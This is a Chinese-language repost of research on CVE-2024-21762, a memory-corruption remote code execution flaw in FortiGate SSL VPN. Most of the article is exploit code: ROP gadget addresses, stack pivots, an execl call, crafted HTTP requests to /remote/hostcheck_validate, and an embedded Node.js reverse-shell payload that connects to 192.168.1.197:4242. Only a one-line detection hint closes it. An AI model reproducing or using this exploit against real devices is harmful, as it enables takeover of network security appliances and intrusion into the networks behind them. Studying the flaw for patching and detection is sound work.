查看原文
其他

两个字节就足够了:带有 CVE-2024-21762 的 FortiGate RCE

Ots安全 2024-03-25

漏洞描述:

最近,一项新的安全漏洞被发现,影响了FortiGate网络设备,这个漏洞可能导致远程执行代码或者拒绝服务攻击。该漏洞的本质是内存损坏,源于对输入数据的不正确处理。攻击者可以利用这个漏洞来执行恶意代码,甚至可能获取对受感染设备的完全控制。


漏洞原因:

该漏洞的根本原因在于FortiGate设备在处理输入数据时的逻辑错误。具体来说,当设备处理表单参数时,未能正确验证参数的大小和内容,导致了对堆内存的不当操作。攻击者可以利用这个缺陷,通过精心构造的恶意输入来触发内存损坏。


漏洞利用过程

攻击者可以通过发送包含恶意表单参数的请求来利用这个漏洞。这些恶意参数可能包括特定大小和内容的输入,这将导致FortiGate设备在处理这些数据时出现内存损坏。攻击者可以通过调整输入参数的大小和内容来进一步控制内存损坏的影响,最终实现远程代码执行或者拒绝服务攻击。


ROP链构建:

在构建ROP链时,我们首先找到了一个适合的工具来实现堆栈旋转,确保了寄存器的状态正确。然后,通过另一个堆栈枢轴来向前推进堆栈,确保有足够的空间来设置我们的调用。接下来,我们设置了调用execl函数所需的寄存器,包括设置rdi、rsi、rdx、rcx和r8等寄存器。最后,我们移动堆栈指针,以防止与参数发生冲突,并返回到execl函数的调用点,结束了有效负载的构建。

ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b""rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;rop += b"%00%00%00%00%00%00%00%00" # zero rcxrop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copyrop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25rop += b"%00%00%00%00%00%00%00%00" # r8
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
call_execl = b"%80%c1%43%00%00%00%00%00"
bin_node = b"/bin/node%00"e_flag = b"-e%00"js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
form_value = b""form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payloadform_value += b"B"*438 + pivot_2 + getcwd_ptrform_value += b"B"*32 + pivot_1form_value += b"B"*168 + call_execlform_value += b"B"*432 + ssl_do_handshake_ptrform_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"data += b"Host: 192.168.1.229\r\n"data += f"Content-Length: {len(body)}\r\n".encode("utf-8")data += b"\r\n"data += body
ssock1 = make_sock(TARGET, PORT)ssock1.sendall(data)
time.sleep(1)
ssock2 = make_sock(TARGET, PORT)
data = b"POST / HTTP/1.1\r\n"data += b"Host: 192.168.1.229\r\n"data += b"Transfer-Encoding: chunked\r\n"data += b"\r\n"data += b"0"*4137 + b"\0"data += b"A"*1 + b"\r\n\r\n"
ssock2.sendall(data)

通过构建的漏洞利用程序,获取了反向 shell,证明了ROP链的有效性,并成功利用了FortiGate漏洞。


结论:

此次漏洞再次突显了网络/安全设备中严重的内存损坏问题。尽管已经存在一些缓解措施,但关键在于是否应用它们。针对此漏洞的IOC方面尚未发布太多信息,但监视新的Node.js进程可能会有所帮助。


参考文章:

https://www.assetnote.io/resources/research/two-bytes-is-plenty-fortigate-rce-with-cve-2024-21762



感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里

继续滑动看下一个
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存